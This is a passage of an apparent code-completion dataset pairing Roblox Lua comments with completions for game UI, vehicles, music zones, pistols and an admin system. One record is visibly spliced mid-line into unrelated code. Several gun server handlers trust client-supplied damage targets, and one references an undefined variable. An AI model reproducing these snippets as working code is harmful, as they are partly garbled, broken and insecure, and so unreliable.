pairs(data) do\n\t\t\t\t\tgTable[i] = v\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tgui.Name = Functions.GetRandom()\n\t\t\tgTable:Register(gui)\n\n\t\t\treturn gTable,gIndex\n\t\tend\n\t}\n\n\tclient.UI.RegisterGui \t= client.UI.Register\n\tclient.UI.GetGui \t\t= client.UI.Get\n\tclient.UI.PrepareGui \t= client.UI.Prepare\n\tclient.UI.MakeGui \t\t= client.UI.Make\nend\n"} +{"prompt": "--[[ss1.Touched:connect(function()\n\tif IsOpen.Value == false then\n\t\tOtherDir.Value = false\n\t\topendoor()\n\t\twait(TimeDelay)\n\t\tclosedoor()\n\tend\nend)]]", "completion": "\n\n\ntrigger.Changed:Connect(function()\n\tif InUse.Value == false then\n\t\tif trigger.Value == true and IsOpen.Value == false then\n\t\t\topendoor()\n\t\telseif trigger.Value == false and IsOpen.Value == true then\n\t\t\tclosedoor()\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"RWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 30\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 60\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= true\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 20\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "-- wrapper function", "completion": "\n\nlocal function wrapper(child, addition)\n\tlocal this = newproxy(true);\n\tlocal mt = getmetatable(this);\n\tmt.__index = function(t, k) return addition[k] or child[k]; end;\n\tmt.__newindex = function(t, k, v) if addition[k] then addition[k] = v; else child[k] = v; end; end;\n\tmt.__call = function() return child; end;\n\tmt.__tostring = function(t) return tostring(child); end;\n\tmt.__metatable = \"The metatable is locked.\";\n\treturn this;\nend;\n"} +{"prompt": "-- V\u00e9rifier si le joueur poss\u00e8de un bras droit", "completion": "\nif player.Character and player.Character:FindFirstChild(\"Right Arm\") then\n\trightArm = player.Character[\"Right Arm\"]\nend\n"} +{"prompt": "--[[\n\t\t___ _______ _ \n\t / _ |____/ ___/ / ___ ____ ___ (_)__ \n\t / __ /___/ /__/ _ \\/ _ `(_-<(_- 0 and vl.Velocity.Value.Magnitude < max and (math.abs(vl.Gear.Value) > 0) then\n\t\t\tcar.Body.Creep.BV.MaxForce = Vector3.new(strength,0,strength)\n\t\telse\n\t\t\tcar.Body.Creep.BV.MaxForce = Vector3.new(0,0,0)\n\t\tend\n\t\tcar.Body.Creep.BV.Velocity = car.Body.Creep.CFrame.lookVector*(8*(math.min(vl.Gear.Value,1)))\n\telse\n\t\tcar.Body.Creep.BV.Velocity = Vector3.new(0,0,0)\n\tend\nend\n"} +{"prompt": "--now, get to playing the music", "completion": "\n\nlocal FadeoutTime = settings.MusicFadeoutTime\n\nfunction PlaySound(sounddata)\n\tif sounddata == nil then return end\n\tlocal sound = Instance.new(\"Sound\")\n\tsound.Looped = true\n\tsound.SoundId = sounddata.SoundId\n\tsound.Volume = musicon and sounddata.Volume or 0\n\tlocal v = Instance.new(\"NumberValue\",sound)\n\tv.Name = \"OriginalVolume\"\n\tv.Value = sounddata.Volume\n\tsound.Pitch = sounddata.Pitch\n\tsound.Name = \"BGM\"\n\tsound.Parent = script\n\tsound:Play()\nend\n\nfunction FadeOutSound(sound)\n\tlocal basevol = sound.Volume\n\tlocal count = math.ceil(30*FadeoutTime)\n\tif count < 1 then\n\t\tcount = 1\n\tend\n\tfor i=1,count do\n\t\tif sound then\n\t\t\tsound.Volume = sound.Volume - (basevol / count)\n\t\t\twait(1/30)\n\t\tend\n\tend\n\tif sound then\n\t\tsound:Stop()\n\t\tsound:Destroy()\n\tend\nend\n\n\nif settings.UseGlobalBackgroundMusic == true and settings.UseMusicZones == false then\n\tif #music[globali] == 1 then --global BGM with just 1 song? ez pz\n\t\tPlaySound(music[1][1])\n\t\treturn\n\telseif #music[globali] == 0 then --there's no music to play...?\n\t\treturn\n\tend\nend\n\n\n\nlocal recentindices = {} --keeps track of recently selected indicies, so as not to play repeat music tracks\nmath.randomseed(tick())\nlocal currentzone\nlocal zoneplayingmusic\n\nfunction CheckIfRecent(i)\n\tfor _,v in pairs(recentindices) do\n\t\tif v == i then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction SelectRandomMusic(musiclist) --select a random number, excluding ones that were already used recently\n\tif musiclist == nil or #musiclist == 0 then return end\n\tlocal possiblenumbers = {}\n\tlocal selectedindex\n\tfor i=1,#musiclist do\n\t\tif not CheckIfRecent(i) then\n\t\t\ttable.insert(possiblenumbers,i)\n\t\tend\n\tend\n\tlocal selectedindex = possiblenumbers[math.random(1,#possiblenumbers)]\n\ttable.insert(recentindices,selectedindex)\n\tif #recentindices > math.ceil(#musiclist / 2) then\n\t\ttable.remove(recentindices,1)\n\tend\n\treturn musiclist[selectedindex]\nend\n\nfunction IsInZone(zonedata)\n\tif torso and torso.Parent ~= nil then\n\t\tlocal p = torso.Position\n\t\tfor _,data in pairs(zonedata[\"Parts\"]) do\n\t\t\tif data[\"Coordinates\"] then\n\t\t\t\tlocal t = data[\"Coordinates\"]\n\t\t\t\tif (p.x > t.lx and p.x < t.mx and p.y > t.ly and p.y < t.my and p.z > t.lz and p.z < t.mz) then --is the character within all the coordinates of the zone?\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\telseif data[\"Part\"] then --complex part? create a clone of the part and check if it's touching the character's torso\n\t\t\t\tlocal part = data[\"Part\"]:clone()\n\t\t\t\tpart.Anchored = true\n\t\t\t\tpart.Parent = workspace.CurrentCamera or workspace\n\t\t\t\tpart.CanCollide = true\n\t\t\t\tlocal touching = part:GetTouchingParts()\n\t\t\t\tpart:Destroy()\n\t\t\t\tfor _,v in pairs(touching) do\n\t\t\t\t\tif v == torso then\n\t\t\t\t\t\treturn true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend\nend\n\nfunction CalculateCurrentZone()\n\tlocal priority = -math.huge\n\tlocal oldzone = currentzone\n\tlocal selectedzone\n\tif currentzone then\n\t\tif IsInZone(currentzone) then\n\t\t\tselectedzone = currentzone\n\t\t\tpriority = currentzone[\"Priority\"]\n\t\tend\n\tend\n\tfor _,zone in pairs(zones) do\n\t\tif zone[\"Priority\"] > priority and IsInZone(zone) then\n\t\t\tpriority = zone[\"Priority\"]\n\t\t\tselectedzone = zone\n\t\tend\n\tend\n\tcurrentzone = selectedzone\n\tif currentzone ~= oldzone and (currentzone ~= nil or settings.UseGlobalBackgroundMusic == true) then\n\t\trecentindices = {}\n\tend\n\treturn currentzone,oldzone\nend\n\n\nfunction RunCycle() --the main cycle which will continuously run, checking which zones (if any) the character is in and playing new music when necessary\n\tlocal bgm = script:FindFirstChild(\"BGM\")\n\tif settings.UseMusicZones == true then\n\t\tlocal zone,oldzone = CalculateCurrentZone()\n\t\tif zone ~= oldzone and zone ~= zoneplayingmusic and bgm then\n\t\t\tif (zone == nil and (settings.UseGlobalBackgroundMusic == true or settings.MusicOnlyPlaysWithinZones == true)) or zone ~= nil then\n\t\t\t\tFadeOutSound(bgm)\n\t\t\t\treturn\n\t\t\tend\n\t\telseif zone and bgm == nil then\n\t\t\tPlaySound(SelectRandomMusic(zone[\"Music\"]))\n\t\t\tzoneplayingmusic = zone\n\t\t\treturn\n\t\telseif zone == nil and oldzone and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then\n\t\t\tPlaySound(SelectRandomMusic(oldzone[\"Music\"]))\n\t\t\tzoneplayingmusic = oldzone\n\t\t\treturn\n\t\telseif zoneplayingmusic and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then\n\t\t\tPlaySound(SelectRandomMusic(zoneplayingmusic[\"Music\"]))\n\t\t\treturn\n\t\telseif settings.UseGlobalBackgroundMusic == true and bgm == nil then\n\t\t\tPlaySound(SelectRandomMusic(music[globali]))\n\t\t\tzoneplayingmusic = nil\n\t\t\treturn\n\t\tend\n\telseif bgm == nil and settings.UseGlobalBackgroundMusic == true then\n\t\tPlaySound(SelectRandomMusic(music[globali]))\n\t\treturn\n\tend\n\t\n\tif bgm and (settings.UseGlobalBackgroundMusic == true and zoneplayingmusic == nil and #music[globali] > 1) or (zoneplayingmusic and #zoneplayingmusic[\"Music\"] > 1) then\n\t\tlocal length = bgm.TimeLength\n\t\tlocal pos = bgm.TimePosition\n\t\tif length ~= 0 and length - pos < FadeoutTime + .5 then\n\t\t\tFadeOutSound(bgm)\n\t\tend\n\tend\nend\n\nwhile wait(.5) do\n\tRunCycle()\nend\n\n"} +{"prompt": "-- Creates \"bullet\". No projectile motion is actually used. Pistol raytraces to target and creates\n-- a tracer trail to the target. Fading trail gives illusion of motion.", "completion": "\nlocal function createBullet(target)\n\t-- Get actual handle position. Want to offset from the center of the handle as the bullet comes\n\t-- from the barrel of the gun\n\tlocal handlePos = tool.Handle.CFrame + tool.Handle.CFrame:vectorToWorldSpace(Vector3.new(0,0,.3))\n\tlocal toTarget = handlePos:vectorToWorldSpace(Vector3.new(0,1,0)) * 200\n\tlocal torsoLook = (tool.Parent:FindFirstChild(\"Torso\").CFrame.lookVector * Vector3.new(1,0,1)).unit\n\tlocal toTargetAngle = (toTarget * Vector3.new(1,0,1)).unit\n\tlocal angle = math.acos(torsoLook:Dot(toTargetAngle))\n\n\t-- Checks angle from where the character is facing to the orientation of the pistol. If the angle\n\t-- is less than 90 degress then we shoot to where the mouse is pointing (helps accuracy). Otherwise\n\t-- the gun is assumed at the edge of its rotation and just shoots straight.\n\tif math.deg(angle) < 90 then\n\t\ttoTarget = target - tool.Handle.Position\n\t\tif toTarget.magnitude > range then\n\t\t\ttoTarget = toTarget.unit * range\n\t\tend\n\t\ttoTarget = toTarget * 1.1\n\tend\n\t\n\t-- Shoot ray and check if humanoid was hit. If so, it should take damage\n\tlocal ray = Ray.new(handlePos.p, toTarget)\n\tlocal part, position = game.Workspace:FindPartOnRay(ray, tool.Parent)\n\tif part and part.Parent and part.Parent:FindFirstChild(\"Humanoid\") then\n\t\tpart.Parent:FindFirstChild(\"Humanoid\"):TakeDamage(damage)\n\tend\t\n\n\tif position then\n\t\ttoTarget = position - handlePos.p\n\tend\n\t\n\t-- Create tracer trail. Trail is made of thin parts 2 studs long. Fades each segment\n\t-- starting with closest tracer to the tool.\n\tlocal bulletTrail = Instance.new(\"Model\", game.Workspace)\n\tlocal trailTable = {}\n\t-- Fetch decal from server storage\n\tlocal decal = game.ServerStorage.ROBLOX_PistolTracerDecal\n\tfor i = 0, toTarget.magnitude/2, 1 do\n\t\tlocal trailSegment = Instance.new(\"Part\", bulletTrail)\n\t\ttrailSegment.CanCollide = false\n\t\ttrailSegment.Anchored = true\n\t\ttrailSegment.FormFactor = Enum.FormFactor.Custom\n\t\ttrailSegment.Size = Vector3.new(.1,.1,2)\n\t\ttrailSegment.BrickColor = BrickColor.White()\n\t\ttrailSegment.CFrame = CFrame.new(handlePos.p + (toTarget.unit * 2 * (i + .5)), handlePos.p)\n\t\ttrailSegment.Transparency = 1\n\t\t\n\t\t-- Add point light to tracer for a little illumination\n\t\tlocal light = Instance.new(\"PointLight\", trailSegment)\t\n\t\tlight.Range = 3\n\t\t\n\t\t-- Add decal to faces of the part\n\t\tlocal function addDecal(face)\n\t\t\tlocal decalClone = decal:Clone()\n\t\t\tdecalClone.Parent = trailSegment\n\t\t\tdecalClone.Face = face\n\t\tend\t\t\n\t\t\n\t\taddDecal(Enum.NormalId.Top)\n\t\taddDecal(Enum.NormalId.Bottom)\n\t\taddDecal(Enum.NormalId.Left)\n\t\taddDecal(Enum.NormalId.Right)\n\t\t\n\t\t-- Add segment to all of the tracers\n\t\ttable.insert(trailTable, trailSegment)\n\tend\n\t\n\t-- Coroutine thread to fade each trail segment. Put in coroutine so it does not\n\t-- block the rest of the pistol's script\n\tlocal fadeThread = coroutine.create(function()\n\t\tlocal count = 1\n\t\tlocal ended = false\n\t\t-- Keep looping until end condition is met\n\t\twhile not ended do\n\t\t\t-- Assume end condition is met. Easier to switch it off later if we need to\n\t\t\t-- keep looping\n\t\t\tended = true\n\t\t\t-- Loop through every part in the trail\n\t\t\tfor index, part in pairs(trailTable) do\n\t\t\t\tif index <= count then\n\t\t\t\t\tlocal shouldDestroy = false\n\t\t\t\t\tfor _, face in pairs(part:GetChildren()) do\n\t\t\t\t\t\t\n\t\t\t\t\t\tif face:IsA(\"Decal\") then\n\t\t\t\t\t\t\t-- Increase decal transparencies and use this to determine if\n\t\t\t\t\t\t\t-- segment has completely faded\n\t\t\t\t\t\t\tface.Transparency = face.Transparency + .05\n\t\t\t\t\t\t\tif face.Transparency < 1 then\n\t\t\t\t\t\t\t\tended = false\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tshouldDestroy = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t-- Dim the point light\n\t\t\t\t\t\t\tface.Brightness = face.Brightness - .1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\t\t\t\n\t\t\t\t\t-- If segment is completely faded then clean it up\n\t\t\t\t\tif shouldDestroy then\n\t\t\t\t\t\ttable.remove(trailTable, index)\n\t\t\t\t\t\tpart:Destroy()\n\t\t\t\t\tend\t\t\n\t\t\t\tend\n\t\t\tend\n\t\t\tcount = count + 1\n\t\t\twait()\n\t\tend\n\t\tbulletTrail:Destroy()\n\tend)\t\n\tcoroutine.resume(fadeThread)\t\nend\n"} +{"prompt": "--// Events", "completion": "\nL_34_.OnServerEvent:connect(function(L_84_arg1)\t\n\tfor L_85_forvar1, L_86_forvar2 in pairs(L_30_:GetChildren()) do\n\t\tif L_86_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\tL_86_forvar2.Enabled = true\n\t\tend\n\tend;\n\n\tdelay(1 / 30, function()\n\t\tfor L_87_forvar1, L_88_forvar2 in pairs(L_30_:GetChildren()) do\n\t\t\tif L_88_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_88_forvar2.Enabled = false\n\t\t\tend\n\t\tend\n\tend);\nend)\n\nlocal L_52_\nL_35_.OnServerEvent:connect(function(L_89_arg1, L_90_arg2, L_91_arg3)\n\tL_90_arg2:TakeDamage(L_91_arg3)\n\tif L_90_arg2.Health <= 0 and L_90_arg2 ~= L_52_ then\n\t\tif L_4_ and L_4_:FindFirstChild(L_2_.Name) then\n\t\t\tlocal L_92_ = L_4_[L_2_.Name]\n\t\t\tL_92_.Value = not L_92_.Value\n\t\tend\n\t\tL_39_:FireClient(L_89_arg1)\n\t\tL_52_ = L_90_arg2\n\tend\nend)\n\nL_36_.OnServerEvent:connect(function(L_93_arg1, L_94_arg2)\n\tlocal L_95_ = Instance.new(\"ObjectValue\")\n\tL_95_.Name = \"creator\"\n\tL_95_.Value = L_93_arg1\n\tL_95_.Parent = L_94_arg2\n\tgame.Debris:AddItem(L_95_, 3)\nend)\n\nL_37_.OnServerEvent:connect(function(L_96_arg1, L_97_arg2, L_98_arg3)\n\tlocal L_99_ = L_96_arg1.Character\n\tlocal L_100_ = L_99_:FindFirstChild('Torso')\n\tlocal L_101_ = L_99_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint')\n\tlocal L_102_ = L_100_:FindFirstChild('Right Hip')\n\tlocal L_103_ = L_100_:FindFirstChild('Left Hip')\n\tlocal L_104_ = L_100_:FindFirstChild('Clone')\n\t\n\tif L_97_arg2 == \"Prone\" and L_99_ and L_104_ then\n\t\tL_101_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195)\n\t\tL_102_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009)\n\t\tL_103_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009)\t\t\t\n\t\tL_104_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0)\t\n\telseif L_97_arg2 == \"Crouch\" and L_99_ and L_104_ then\n\t\tL_101_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015)\n\t\tL_102_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0)\n\t\tL_103_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0)\n\t\tL_104_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"Stand\" and L_99_ and L_104_ then\t\n\t\tL_101_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\tL_102_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)\n\t\tL_103_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_104_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\telseif L_97_arg2 == \"LeanRight\" then\n\t\tL_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0)\n\t\tL_102_.C1 = CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0)\n\t\tL_104_.C1 = CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"LeanLeft\" then\n\t\tL_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0)\n\t\tL_103_.C1 = CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0)\n\t\tL_104_.C1 = CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"Unlean\" then\n\t\tL_101_.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tL_102_.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\t\tL_103_.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\t\tif L_100_:FindFirstChild('Clone') then\n\t\t\tL_104_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tend\n\telseif L_97_arg2 == \"Patrol\" then\n\t\tL_19_.C1 = L_98_arg3\n\telseif L_97_arg2 == \"Unpatrol\" then\n\t\tL_19_.C1 = CFrame.new()\n\tend\nend)\n\nL_38_.OnServerInvoke = function(L_105_arg1, L_106_arg2, L_107_arg3, L_108_arg4, L_109_arg5, L_110_arg6, L_111_arg7)\n\n\t\n\tlocal L_114_ = Instance.new(\"PointLight\", L_112_)\n\tL_114_.Color = Color3.new(0, 0, 0)\n\tL_114_.Range = 0\n\tL_114_.Shadows = true\n\t\n\tfor L_117_forvar1, L_118_forvar2 in pairs(game.Players:GetChildren()) do\n\t\tif L_118_forvar2:IsA('Player') and L_118_forvar2.Character and L_118_forvar2.Character.HumanoidRootPart and (L_118_forvar2.Character.HumanoidRootPart.Position - L_106_arg2).magnitude <= 30 then\n\t\t\tlocal L_119_ = Instance.new(\"Sound\")\n\t\t\tL_119_.Name = \"Crack\"\t\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Grass or L_111_arg7.Material == Enum.Material.Ice or L_111_arg7.Material == Enum.Material.Fabric or L_111_arg7.Material == Enum.Material.Pebble then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_45_[math.random(1, #L_45_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Sand then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_46_[math.random(1, #L_46_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Glass or L_111_arg7.Material == Enum.Material.Neon then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_47_[math.random(1, #L_47_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Wood or L_111_arg7.Material == Enum.Material.WoodPlanks then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_48_[math.random(1, #L_48_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Metal or L_111_arg7.Material == Enum.Material.CorrodedMetal or L_111_arg7.Material == Enum.Material.DiamondPlate then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_49_[math.random(1, #L_49_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Water then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_50_[math.random(1, #L_50_)]\n\t\t\tend\n\t\t\t\n\t\t\tif L_111_arg7.Material == Enum.Material.Concrete or L_111_arg7.Material == Enum.Material.Plastic or L_111_arg7.Material == Enum.Material.SmoothPlastic or L_111_arg7.Material == Enum.Material.Slate or L_111_arg7.Material == Enum.Material.Foil or L_111_arg7.Material == Enum.Material.Brick or L_111_arg7.Material == Enum.Material.Granite or L_111_arg7.Material == Enum.Material.Marble or L_111_arg7.Material == Enum.Material.Cobblestone then\n\t\t\t\tL_119_.SoundId = \"rbxassetid://\" .. L_51_[math.random(1, #L_51_)]\n\t\t\tend\t\n\t\t\t\n\t\t\tL_119_.EmitterSize = 10\n\t\t\tL_119_.MaxDistance = 30\n\t\t\tL_119_.Parent = L_118_forvar2.PlayerGui\n\t\t\tL_119_:play()\n\t\t\t\n\t\t\t\n\t\tend\n\tend;\n\t\n\tlocal L_115_\n\tlocal L_116_\n\t\t\n\t\nend;\n\nL_40_.OnServerEvent:connect(function(L_117_arg1, L_118_arg2)\n\tL_40_:FireAllClients(L_117_arg1, L_118_arg2)\nend)\n\nL_41_.OnServerEvent:connect(function(L_119_arg1, L_120_arg2)\n\tlocal L_121_ = Instance.new('Part', workspace)\n\tL_121_.Size = Vector3.new(0.1, 0.1, 0.1)\n\tL_121_.Transparency = 1\n\tL_121_.CanCollide = false\n\tL_121_.Anchored = true\n\tL_121_.Position = L_120_arg2\n\tlocal L_122_ = Instance.new('Explosion', workspace)\n\tL_122_.Position = L_120_arg2\n\tL_122_.BlastPressure = L_12_.BlastPressue\n\tL_122_.BlastRadius = L_12_.BlastRadius\n\tL_122_.DestroyJointRadiusPercent = L_12_.DestroyJointRadius\n\tL_122_.ExplosionType = L_12_.ExplosionType\n\tlocal L_123_ = L_31_:WaitForChild('ExplosionSound'):clone()\n\tL_123_.Parent = L_121_\n\tL_123_:Play()\n\tgame:GetService('Debris'):AddItem(L_121_, L_123_.TimeLength)\nend)\n\nL_43_.OnServerEvent:connect(function(L_124_arg1, L_125_arg2)\n\tfor L_126_forvar1, L_127_forvar2 in pairs(game.Players:GetChildren()) do\n\t\tif L_127_forvar2:IsA('Player') and L_127_forvar2.PlayerGui:FindFirstChild('MainGui') and L_127_forvar2.PlayerGui.MainGui:FindFirstChild('Shading') then\n\t\t\tfor L_128_forvar1, L_129_forvar2 in pairs(L_127_forvar2.Character:GetChildren()) do\n\t\t\t\tif L_129_forvar2:IsA('Tool') and L_129_forvar2:FindFirstChild('Resource') and L_129_forvar2.Resource:FindFirstChild('Events') and L_129_forvar2.Resource.Events:FindFirstChild('ServerFXEvent') then\n\t\t\t\t\tL_129_forvar2.Resource.Events.ServerFXEvent:FireClient(L_127_forvar2, L_125_arg2, L_2_)\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\tend\nend)\n\nL_44_.OnServerEvent:connect(function(L_130_arg1, L_131_arg2, L_132_arg3)\n\tL_131_arg2.SoundId = 'rbxassetid://' .. L_132_arg3\n\tL_131_arg2:Play()\nend)\n"} +{"prompt": "--[[**\n\tDEPRECATED\n\tPlease use t.literal\n**--]]", "completion": "\nt.exactly = t.literal\n"} +{"prompt": "--// Processing", "completion": "\nreturn function()\n\tlocal _G, game, script, getfenv, setfenv, workspace, \n\t\tgetmetatable, setmetatable, loadstring, coroutine, \n\t\trawequal, typeof, print, math, warn, error, pcall, \n\t\txpcall, select, rawset, rawget, ipairs, pairs, \n\t\tnext, Rect, Axes, os, tick, Faces, unpack, string, Color3, \n\t\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, \n\t\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, \n\t\tNumberSequenceKeypoint, PhysicalProperties, Region3int16, \n\t\tVector3int16, elapsedTime, require, table, type, wait, \n\t\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = \n\t\t_G, game, script, getfenv, setfenv, workspace, \n\t\tgetmetatable, setmetatable, loadstring, coroutine, \n\t\trawequal, typeof, print, math, warn, error, pcall, \n\t\txpcall, select, rawset, rawget, ipairs, pairs, \n\t\tnext, Rect, Axes, os, tick, Faces, unpack, string, Color3, \n\t\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, \n\t\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, \n\t\tNumberSequenceKeypoint, PhysicalProperties, Region3int16, \n\t\tVector3int16, elapsedTime, require, table, type, wait, \n\t\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay\n\t\t\n\tlocal script = script\n\tlocal service = service\n\tlocal client = client\n\tlocal Anti, Core, Functions, Process, Remote, UI, Variables\n\tlocal function Init()\n\t\tUI = client.UI;\n\t\tAnti = client.Anti;\n\t\tCore = client.Core;\n\t\tVariables = client.Variables\n\t\tFunctions = client.Functions;\n\t\tProcess = client.Process;\n\t\tRemote = client.Remote;\n\tend\n\t\n\tgetfenv().client = nil\n\tgetfenv().service = nil\n\tgetfenv().script = nil\n\t\n\tclient.Process = {\n\t\tInit = Init;\n\t\tRateLimits = { --// Defaults; Will be updated with server data at client run\n\t\t\tRemote = 0.02;\n\t\t\tCommand = 0.1;\n\t\t\tChat = 0.1;\n\t\t\tRateLog = 10;\n\t\t};\n\t\t\n\t\tRemote = function(data,com,...)\n\t\t\tlocal args = {...}\n\t\t\tRemote.Received = Remote.Received+1\n\t\t\tif type(com) == \"string\" then\n\t\t\t\tif com == client.DepsName..\"GIVE_KEY\" then\n\t\t\t\t\tif not Core.Key then\n\t\t\t\t\t\tCore.Key = args[1]\n\t\t\t\t\t\tclient.Finish_Loading()\n\t\t\t\t\tend\n\t\t\t\telseif Remote.UnEncrypted[com] then\n\t\t\t\t\treturn {Remote.UnEncrypted[com](...)}\n\t\t\t\telseif Core.Key then\n\t\t\t\t\tlocal comString = Remote.Decrypt(com,Core.Key)\n\t\t\t\t\tlocal command = (data.Mode == \"Get\" and Remote.Returnables[comString]) or Remote.Commands[comString]\n\t\t\t\t\tif command then \n\t\t\t\t\t\t--local ran,err = pcall(command, args) --task service.Threads.RunTask(\"REMOTE:\"..comString,command,args)\n\t\t\t\t\t\tlocal rets = {service.TrackTask(\"Remote: \".. comString, command, args)}\n\t\t\t\t\t\tif not rets[1] then\n\t\t\t\t\t\t\tlogError(rets[2])\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\treturn {unpack(rets, 2)};\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\n\t\tLogService = function(Message, Type)\n\t\t\t--service.FireEvent(\"Output\", Message, Type)\n\t\tend;\n\t\t\n\t\tErrorMessage = function(Message, Trace, Script)\n\t\t\t--service.FireEvent(\"ErrorMessage\", Message, Trace, Script)\n\t\t\tif Message and Message ~= \"nil\" and Message ~= \"\" and (string.find(Message,\"::Adonis::\") or string.find(Message,script.Name) or Script == script) then\n\t\t\t\tlogError(tostring(Message)..\" - \"..tostring(Trace))\n\t\t\tend\n\t\t\t\n\t\t\tif (Script == nil or (not Trace or Trace == \"\")) and not (Trace and string.find(Trace,\"CoreGui.RobloxGui\")) then\n\t\t\t\t--Anti.Detected(\"log\",\"Scriptless/Traceless error found. Script: \"..tostring(Script)..\" - Trace: 